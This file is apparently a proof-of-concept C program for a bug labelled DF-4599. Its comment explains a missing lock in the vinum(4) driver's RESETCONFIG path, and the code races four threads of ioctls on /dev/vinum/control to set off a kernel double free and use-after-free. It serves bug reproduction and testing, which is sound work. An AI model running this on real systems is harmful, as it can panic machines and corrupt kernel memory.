DF-4599 / resetconfig_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-4599 - VINUM_RESETCONFIG frees the entire vinum configuration * (DRIVE/SD/PLEX/VOL arrays) without taking lock_config(). * * Thread "creator": VINUM_CREATE (holds lock_config) with a * monotonically increasing "volume vN" line -> find_volume(create) * -> get_empty_vol -> EXPAND(VOL) -> Malloc new array, bcopy, * Free(old array) -- all while holding the config lock. * * Thread "resetter": VINUM_RESETCONFIG -> free_vinum(1) -> * Free(DRIVE/SD/PLEX/VOL) + vinum_initconf() reallocation, * entirely ignoring lock_config(). * * Interleavings: * a) resetter's Free(VOL) vs creator's EXPAND Free(old) on the same * chunk => double free => kernel heap corruption; * b) creator's parse writing into an array freed by resetter * => use-after-free write; * c) reader's bcopy from a freed array => use-after-free read. * * Build: cc -O2 -o resetconfig_race resetconfig_race.c -lpthread * Run as root with vinum(4) loaded. */ #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #define L 'F' #define VINUM_CREATE _IOC(IOC_IN | IOC_OUT, L, 64, 1024) #define VINUM_SDCONFIG _IOWR(L, 67, struct vinum_sd_probe) #define VINUM_RESETCONFIG _IOC(0, L, 73, 0) struct vinum_sd_probe { int idx; char pad[1020]; }; static int fd = -1; static volatile int stop; static volatile unsigned long volcount; static void *creator(void *arg) { char buf[1024]; unsigned long i = 0; (void)arg; while (!stop) { memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "volume v%lu", i++); ioctl(fd, VINUM_CREATE, buf); volcount = i; } return NULL; } static void *plexor(void *arg) { char buf[1024]; unsigned long i = 0; (void)arg; while (!stop) { memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "plex x%lu", i++); ioctl(fd, VINUM_CREATE, buf); } return NULL; } static void *resetter(void *arg) { unsigned long i = 0; (void)arg; while (!stop) { ioctl(fd, VINUM_RESETCONFIG); i++; } fprintf(stderr, "resetter: %lu resetconfigs (%lu volumes created)\n", i, volcount); return NULL; } static void *reader(void *arg) { struct vinum_sd_probe p; unsigned long i = 0; (void)arg; while (!stop) { p.idx = 0; ioctl(fd, VINUM_SDCONFIG, &p); i++; } fprintf(stderr, "reader: %lu sdconfigs\n", i); return NULL; } int main(int argc, char **argv) { pthread_t t1, t2, t3, t4; int secs = argc > 1 ? atoi(argv[1]) : 90; fd = open("/dev/vinum/control", O_RDWR); if (fd < 0) { perror("open /dev/vinum/control"); return 1; } printf("racing CREATE(growth) vs RESETCONFIG(free_vinum) vs SDCONFIG for %ds...\n", secs); fflush(stdout); pthread_create(&t1, NULL, creator, NULL); pthread_create(&t2, NULL, resetter, NULL); pthread_create(&t3, NULL, reader, NULL); pthread_create(&t4, NULL, plexor, NULL); sleep(secs); stop = 1; pthread_join(t1, NULL); pthread_join(t2, NULL); pthread_join(t3, NULL); pthread_join(t4, NULL); printf("survived %ds without a panic\n", secs); return 0; } |